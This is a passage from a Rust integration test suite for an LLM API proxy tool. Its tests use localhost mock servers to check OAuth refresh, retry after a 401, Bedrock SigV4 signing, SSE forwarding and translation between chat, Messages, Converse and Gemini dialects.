let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"error":{"message":"expired"}}"#;
let resp = format!(
"HTTP/1.1 401 Unauthorized\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let token_srv = TcpListener::bind("127.0.0.1:0").expect("token bind");
let token_addr = token_srv.local_addr().expect("addr");
let token_thread = std::thread::spawn(move || {
if let Ok((stream, _)) = token_srv.accept() {
drop(stream);
}
});
let (home, mut cmd) = isolated_home();
let creds_path = home.path().join("refresh-creds.json");
std::fs::write(
&creds_path,
r#"{"access":"stale-token","refresh":"rt-stale","exp":4102444800}"#,
)
.expect("write creds");
let creds_unix = creds_path.to_string_lossy().replace('\\', "/");
let dir = unique_scratch();
let profile = write_profile(
&dir,
"refresh.toml",
&format!(
r#"
schema_version = 1
id = "refresh-oauth"
wire = "chat-completions"
auth_scheme = "bearer"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
[oauth]
token_url = "http://{token_addr}/token"
client_id = "refresh-client"
token_request_format = "form"
creds_format = "json-pointer"
creds_path = "{creds_unix}"
access_token_ptr = "/access"
refresh_token_ptr = "/refresh"
expires_ptr = "/exp"
expires_unit = "s"
login = "none"
[oauth.token_response]
access_token_ptr = "/access_token"
expires_ptr = "/expires_in"
expires_unit = "s"
"#
),
);
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4o","messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(8)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let _ = upstream_thread.join();
let _ = token_thread.join();
assert!(
resp.starts_with("HTTP/1.1 502"),
"token endpoint outage must be 502"
);
assert!(
resp.contains("token refresh request failed"),
"502 must name the token request"
);
}
#[test]
fn proxy_401_oauth_retries_once() {
let token_srv = TcpListener::bind("127.0.0.1:0").expect("token bind");
let token_addr = token_srv.local_addr().expect("addr");
let token_thread = std::thread::spawn(move || {
let (mut stream, _) = token_srv.accept().expect("token accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"access_token":"second-proxy","refresh_token":"rt2","expires_in":3600}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let mut seen = Vec::new();
for i in 0..2 {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let n = stream.read(&mut buf).unwrap_or(0);
seen.push(String::from_utf8_lossy(&buf[..n]).into_owned());
if i == 0 {
let body = r#"{"error":{"message":"expired"}}"#;
let resp = format!(
"HTTP/1.1 401 Unauthorized\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
} else {
let body = r#"{"id":"chatcmpl-retry","object":"chat.completion","choices":[{"index":0,"message":{"role":"assistant","content":"pong"},"finish_reason":"stop"}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
}
}
seen
});
let (home, mut cmd) = isolated_home();
let creds_dir = home.path().join("config/wiremux");
std::fs::create_dir_all(&creds_dir).expect("mkdir creds");
let creds_path = creds_dir.join("auth.json");
std::fs::write(
&creds_path,
r#"{"tokens":{"access":"first-proxy","refresh":"rt-proxy","expiry_unix":4102444800}}"#,
)
.expect("write creds");
let creds_unix = creds_path.to_string_lossy().replace('\\', "/");
let dir = unique_scratch();
let profile = write_profile(
&dir,
"retry-oauth.toml",
&format!(
r#"
schema_version = 1
id = "retry-oauth"
wire = "chat-completions"
auth_scheme = "bearer"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
[oauth]
token_url = "http://{token_addr}/token"
client_id = "retry-client"
token_request_format = "form"
creds_format = "json-pointer"
creds_path = "{creds_unix}"
access_token_ptr = "/tokens/access"
refresh_token_ptr = "/tokens/refresh"
expires_ptr = "/tokens/expiry_unix"
expires_unit = "s"
login = "none"
[oauth.token_response]
access_token_ptr = "/access_token"
refresh_token_ptr = "/refresh_token"
expires_ptr = "/expires_in"
expires_unit = "s"
"#
),
);
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"gpt-4","stream":false,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let _ = token_thread.join();
let seen = upstream_thread.join().expect("upstream");
assert_eq!(seen.len(), 2, "proxy must retry 401 once, got {seen:?}");
assert!(
seen[0].contains("Bearer first-proxy"),
"first try uses stored access: {}",
seen[0]
);
assert!(
seen[1].contains("Bearer second-proxy"),
"retry uses refreshed access: {}",
seen[1]
);
assert!(
resp.contains("chatcmpl-retry") && resp.contains("pong"),
"proxy should return the retried completion, got: {resp}"
);
}
#[test]
fn proxy_bedrock_iam_sends_sigv4() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 16384];
let n = stream.read(&mut buf).unwrap_or(0);
let req = String::from_utf8_lossy(&buf[..n]).into_owned();
let auths: Vec<_> = req
.lines()
.filter(|line| {
line.split_once(':')
.is_some_and(|(name, _)| name.eq_ignore_ascii_case("authorization"))
})
.collect();
assert_eq!(
auths.len(),
1,
"proxy must send exactly one Authorization, got {auths:?} in {req}"
);
assert!(
auths[0].to_ascii_lowercase().contains("aws4-hmac-sha256"),
"proxy must SigV4 Bedrock IAM requests, got {auths:?}"
);
assert!(
req.to_ascii_lowercase().contains("x-amz-date:"),
"proxy SigV4 must send x-amz-date, got {req}"
);
let body = r#"{"output":{"message":{"role":"assistant","content":[{"text":"ok"}]}},"stopReason":"end_turn"}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
req
});
let dir = unique_scratch();
let aws_dir = dir.join("aws");
std::fs::create_dir_all(&aws_dir).expect("mkdir aws");
let creds_path = aws_dir.join("credentials");
std::fs::write(
&creds_path,
"[dev]\naws_access_key_id = AKIAPROXY\naws_secret_access_key = proxysecret\n",
)
.expect("write credentials");
let profile = write_profile(
&dir,
"bedrock-iam.toml",
&format!(
r#"
schema_version = 1
id = "bedrock-iam"
wire = "converse"
auth_scheme = "none"
aws_service = "bedrock"
aws_region = "us-east-1"
base_url = "http://{upstream_addr}"
chat_path = "/model/{{model}}/converse"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.env_remove("AWS_ACCESS_KEY_ID")
.env_remove("AWS_SECRET_ACCESS_KEY")
.env_remove("AWS_SESSION_TOKEN")
.env_remove("AWS_BEARER_TOKEN_BEDROCK")
.env("AWS_PROFILE", "dev")
.env("AWS_SHARED_CREDENTIALS_FILE", &creds_path)
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body =
r#"{"modelId":"amazon.titan","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/amazon.titan/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
let _ = upstream_thread.join();
assert!(
resp.contains("200") && resp.contains("end_turn"),
"proxy should return signed upstream Converse, got: {resp}"
);
}
#[test]
fn proxy_forwards_upstream_sse_status() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let resp = "HTTP/1.1 429 Too Many Requests\r\nContent-Type: text/event-stream\r\nContent-Length: 0\r\nConnection: close\r\n\r\n";
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"sse-status.toml",
&format!(
r#"
schema_version = 1
id = "sse-status"
wire = "responses"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/responses"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"responses",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"test","input":"hi"}"#;
let req = format!(
"POST /v1/responses HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.starts_with("HTTP/1.1 429") || resp.contains("429 Too Many Requests"),
"SSE proxy must forward upstream status, got: {resp}"
);
}
#[test]
fn proxy_forwards_sse_frames_before_upstream_closes() {
let (go, wait) = std::sync::mpsc::sync_channel::<()>(0);
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let first = concat!(
"HTTP/1.1 200 OK\r\n",
"Content-Type: text/event-stream\r\n",
"Connection: close\r\n\r\n",
"data: {\"choices\":[{\"index\":0,\"delta\":{\"content\":\"hello\"}}]}\n\n",
);
let _ = stream.write_all(first.as_bytes());
let _ = stream.flush();
let _ = wait.recv_timeout(Duration::from_secs(5));
let _ = stream.write_all(b"data: [DONE]\n\n");
let _ = stream.flush();
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"sse-inc.toml",
&format!(
r#"
schema_version = 1
id = "sse-inc"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat-completions",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"grok-4","stream":true,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_millis(200)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut got = String::new();
let mut buf = [0u8; 2048];
let deadline = Instant::now() + Duration::from_secs(5);
while Instant::now() < deadline && !got.contains("hello") {
match client.read(&mut buf) {
Ok(0) => break,
Ok(n) => got.push_str(&String::from_utf8_lossy(&buf[..n])),
Err(err)
if err.kind() == std::io::ErrorKind::WouldBlock
|| err.kind() == std::io::ErrorKind::TimedOut => {}
Err(err) => panic!("read first frame: {err}"),
}
}
assert!(
got.contains("hello"),
"first SSE frame must arrive before upstream closes, got: {got}"
);
let _ = go.send(());
while Instant::now() < deadline + Duration::from_secs(2) && !got.contains("[DONE]") {
match client.read(&mut buf) {
Ok(0) => break,
Ok(n) => got.push_str(&String::from_utf8_lossy(&buf[..n])),
Err(err)
if err.kind() == std::io::ErrorKind::WouldBlock
|| err.kind() == std::io::ErrorKind::TimedOut => {}
Err(err) => panic!("read rest: {err}"),
}
}
let _ = child.kill();
let _ = child.wait();
let _ = upstream_thread.join();
assert!(
got.contains("[DONE]"),
"stream must continue after the first frame, got: {got}"
);
}
#[test]
fn proxy_same_dialect_sse_keeps_message_start() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = concat!(
"event: message_start\n",
"data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_1\",\"type\":\"message\",\"role\":\"assistant\",\"content\":[],\"model\":\"claude-haiku\"}}\n\n",
"event: content_block_delta\n",
"data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"text_delta\",\"text\":\"pong\"}}\n\n",
"event: message_stop\n",
"data: {\"type\":\"message_stop\"}\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"claude-sse.toml",
&format!(
r#"
schema_version = 1
id = "claude-sse"
wire = "messages"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/messages"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"claude-haiku","max_tokens":16,"stream":true,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("event: message_start"),
"same-dialect SSE must keep message_start, got: {resp}"
);
assert!(
resp.contains("pong"),
"passthrough must keep assistant text, got: {resp}"
);
}
#[test]
fn proxy_cross_dialect_sse_omits_message_start() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = concat!(
"event: message_start\n",
"data: {\"type\":\"message_start\",\"message\":{\"id\":\"msg_1\",\"type\":\"message\",\"role\":\"assistant\",\"content\":[],\"model\":\"claude-haiku\"}}\n\n",
"event: content_block_start\n",
"data: {\"type\":\"content_block_start\",\"index\":0,\"content_block\":{\"type\":\"text\",\"text\":\"\"}}\n\n",
"event: content_block_delta\n",
"data: {\"type\":\"content_block_delta\",\"index\":0,\"delta\":{\"type\":\"text_delta\",\"text\":\"pong\"}}\n\n",
"event: content_block_stop\n",
"data: {\"type\":\"content_block_stop\",\"index\":0}\n\n",
"event: message_delta\n",
"data: {\"type\":\"message_delta\",\"delta\":{\"stop_reason\":\"end_turn\",\"stop_sequence\":null},\"usage\":{\"output_tokens\":1}}\n\n",
"event: message_stop\n",
"data: {\"type\":\"message_stop\"}\n\n",
);
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: text/event-stream\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"claude-cross-sse.toml",
&format!(
r#"
schema_version = 1
id = "claude-cross-sse"
wire = "messages"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/messages"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body =
r#"{"model":"claude-haiku","stream":true,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("pong"),
"cross-dialect stream must remap assistant text, got: {resp}"
);
assert!(
resp.contains(r#""model":"claude-haiku""#),
"dest Chat stream must keep dest model, got: {resp}"
);
assert!(
resp.contains("[DONE]"),
"cross-dialect stream must end with Chat [DONE], got: {resp}"
);
assert!(
!resp.contains("event: message_start")
&& !resp.contains("event: content_block_start")
&& !resp.contains("event: content_block_stop"),
"Chat client must not see Messages event names, got: {resp}"
);
}
#[test]
fn proxy_cross_dialect_json_maps_complete_body() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"id":"msg_json","type":"message","role":"assistant","model":"claude-haiku","content":[{"type":"text","text":"pong"}],"stop_reason":"end_turn","usage":{"input_tokens":3,"output_tokens":1}}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"claude-cross-json.toml",
&format!(
r#"
schema_version = 1
id = "claude-cross-json"
wire = "messages"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/messages"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"chat",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body =
r#"{"model":"claude-haiku","stream":false,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/chat/completions HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("200") && resp.contains("pong") && resp.contains("choices"),
"non-stream chat→messages must return a Chat completion, got: {resp}"
);
assert!(
resp.contains(r#""model":"claude-haiku""#),
"dest Chat complete must keep dest model, got: {resp}"
);
assert!(
!resp.contains("not mapped"),
"must not 501 a successful Messages JSON body, got: {resp}"
);
}
#[test]
fn proxy_converse_names_unsupported_gemini_image() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"candidates":[{"content":{"role":"model","parts":[{"inlineData":{"mimeType":"image/heic","data":"AAA"}}]}}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"gemini-heic.toml",
&format!(
r#"
schema_version = 1
id = "gemini-heic"
wire = "gemini"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body =
r#"{"modelId":"gemini-2.0-flash","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/gemini-2.0-flash/converse HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("502") && resp.contains("image/heic"),
"Converse client must see the unsupported Gemini image, got: {resp}"
);
assert!(
!resp.contains("not mapped"),
"an image mime must not be reported as an unmapped dialect, got: {resp}"
);
}
#[test]
fn proxy_converse_stream_names_unsupported_gemini_image() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"candidates":[{"content":{"role":"model","parts":[{"inlineData":{"mimeType":"image/heic","data":"AAA"}}]}}]}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"gemini-heic-stream.toml",
&format!(
r#"
schema_version = 1
id = "gemini-heic-stream"
wire = "gemini"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"converse",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body =
r#"{"modelId":"gemini-2.0-flash","messages":[{"role":"user","content":[{"text":"hi"}]}]}"#;
let req = format!(
"POST /model/gemini-2.0-flash/converse-stream HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut buf = Vec::new();
let _ = client.read_to_end(&mut buf);
let resp = String::from_utf8_lossy(&buf);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
assert!(
resp.contains("502") && resp.contains("image/heic"),
"Converse stream client must see the unsupported Gemini image, got: {resp}"
);
assert!(
!resp.contains("not mapped"),
"an image mime must not be reported as an unmapped dialect, got: {resp}"
);
}
#[test]
fn proxy_cross_dialect_messages_from_chat_json() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"choices":[{"message":{"role":"assistant","content":"pong"},"finish_reason":"stop"}],"usage":{"prompt_tokens":3,"completion_tokens":1}}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-cross-json.toml",
&format!(
r#"
schema_version = 1
id = "chat-cross-json"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"messages",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"model":"test","max_tokens":16,"stream":false,"messages":[{"role":"user","content":"hi"}]}"#;
let req = format!(
"POST /v1/messages HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let mut client = TcpStream::connect(listen).expect("connect proxy");
client
.set_read_timeout(Some(Duration::from_secs(5)))
.expect("timeout");
client.write_all(req.as_bytes()).expect("write");
let mut resp = String::new();
let _ = client.read_to_string(&mut resp);
let _ = child.kill();
let _ = child.wait();
upstream_thread.join().expect("upstream");
let looks_like_messages =
resp.contains("\"type\":\"message\"") || resp.contains("\"type\":\"text\"");
assert!(
resp.contains("200") && resp.contains("pong") && looks_like_messages,
"non-stream messages→chat must return a Messages body, got: {resp}"
);
assert!(
!resp.contains("not mapped"),
"must not 501 a successful Chat JSON body, got: {resp}"
);
}
#[test]
fn proxy_cross_dialect_gemini_from_chat_json() {
let upstream = TcpListener::bind("127.0.0.1:0").expect("upstream bind");
let upstream_addr = upstream.local_addr().expect("addr");
let upstream_thread = std::thread::spawn(move || {
let (mut stream, _) = upstream.accept().expect("accept");
let mut buf = [0u8; 8192];
let _ = stream.read(&mut buf);
let body = r#"{"choices":[{"message":{"role":"assistant","content":"pong"},"finish_reason":"stop"}],"usage":{"prompt_tokens":3,"completion_tokens":1}}"#;
let resp = format!(
"HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
body.len()
);
let _ = stream.write_all(resp.as_bytes());
});
let dir = unique_scratch();
let profile = write_profile(
&dir,
"chat-cross-gemini.toml",
&format!(
r#"
schema_version = 1
id = "chat-cross-gemini"
wire = "chat-completions"
auth_scheme = "none"
base_url = "http://{upstream_addr}"
chat_path = "/v1/chat/completions"
"#
),
);
let (_home, mut cmd) = isolated_home();
let mut child = cmd
.args([
"proxy",
"--listen",
"127.0.0.1:0",
"--from",
"gemini",
"--profile",
profile.to_str().expect("utf8"),
])
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()
.expect("spawn proxy");
let listen = read_listen_addr(child.stdout.as_mut().expect("stdout"));
let body = r#"{"contents":[{"role":"user","parts":[{"text":"hi"}]}]}"#;
let req = format!(
